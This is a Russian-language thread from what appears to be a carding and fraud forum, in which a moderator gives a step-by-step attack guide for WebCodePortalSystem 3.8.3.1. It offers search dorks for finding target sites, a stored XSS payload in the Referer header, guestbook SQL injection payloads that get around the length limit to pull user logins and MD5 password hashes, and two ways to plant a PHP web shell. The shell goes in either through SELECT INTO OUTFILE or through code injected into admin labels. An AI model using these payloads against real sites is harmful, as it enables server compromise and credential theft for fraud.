Заливы на карты - Платежные системы Обучение заливам на электронные кошельки и карты Карты с балансом - Купить карты с балансом
  1. Уважаемые посетители нашего форума. Ни в коем случае без проверки не проводите сделку с человеком, который предлагает услугу. Или используйте гаранта, либо если мы тему пропустили просите нас проверить его. И не забывайте зарегистрироваться на нашем форуме.
  2. Внимание. У нас изменились ns сервера домена. Некоторое время форум может у кого то не открываться. Все дело времени пока ваш провайдер не обновит свои днс сервера.
    Скрыть объявление

Обзор Уязвимостей На Wcps

Тема в разделе "Обзор уязвимостей на другие движки", создана пользователем Kven, 4 мар 2018.

  1. Автор темы
    Kven
    Offline

    Kven Модератор Команда форума Модератор Участник

    362
    51
    28
    WebCodePortalSystem <= v. 3.8.3.1

    [ОБЩАЯ ИНФОРМАЦИЯ]

    Стандартный префикс - wc_
    Тип хеша - md5(password)
    Таблица с пользователями - [префикс]_user

    Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1
    Яндекс: Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
    Гугл: Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!

    [УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)]

    [1] [Активная XSS]

    Нет фильтрации в referer е, формируем пакет:

    Code:
    GET /index.php HTTP/1.1
    Host: test2.ru
    Referer: http://<IMG SRC=javascript:alert('test');>
    Connection: close
    Далее при просмотре страницы Статистика - Переходы видим выполнение скрипта.

    [2] [SQL инъекция]

    Уязвим скрипт гостевой книги, скрипт add.php

    Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее:

    ',version(),'','1','1')#

    Символ # так же как и /* - символ конца строки

    Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм).
    Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки:

    ',(select"123"),'','1','1')# - будет выведенно 123

    К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти.

    И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос:

    PHP:
    mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','$eigburl МЫ ВНЕДРЯМСЯ ЗДЕСЬ ','$eigbtext$attach_text','','$eiloggedstatus','$eigbsname')
    Единственый параметр который мы можем изменить в этом запросе (после параметра с адресом сайта) это текст сообщения - $eigbtext$attach_text, но в нем, как и вдругих кавычки фильтуруются, но использовать кавычки не обязательно, вводим следующее:

    URL вашего сайта: ',/*
    Текст сообщения: */version(),null,3,3)#

    И вот как будет выглядеть запрос:

    PHP:
    mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','',/*','*/version(),null,3,3)
    Мешающие нам ',' будет закаментированно (ровно как и все что после #). Да и кстати проблема с пробелами тоже решена - что существенно упрощает построение подзапроса.

    И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя):

    Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)#
    Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)#
    URL вашего сайта (в обоих случаях): ',/*

    !!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!!
    !!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!!

    [В АДМИНКЕ]

    [Раскрытие абсолютного пути]

    В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP»

    Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP»

    [Заливка шелла]

    1. Через sql запрос.

    Создаем файл с запросом, к примеру файл 1.sql:

    select 'код шелла' into outfile 'абсолютный путь/shell.php';

    Получаем шелл:

    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!

    2. Через редактирование меток

    «Метки», к примеру метка METKA_STATUS

    Добавляем следующий код:

    PHP:
    $kod_shella = '<?php system($HTTP_GET_VARS["cmd"]); ?>';
    $file_shell = fopen("shell.php", "w");
    fputs($file_shell, $kod_shella);
    fclose($file_shell);
    Получаем шелл:

    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!

    Или инклудим шелл, тогда код:

    PHP:
    include('Адрес до шелла');
    И получаем его на главной странице:

    Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!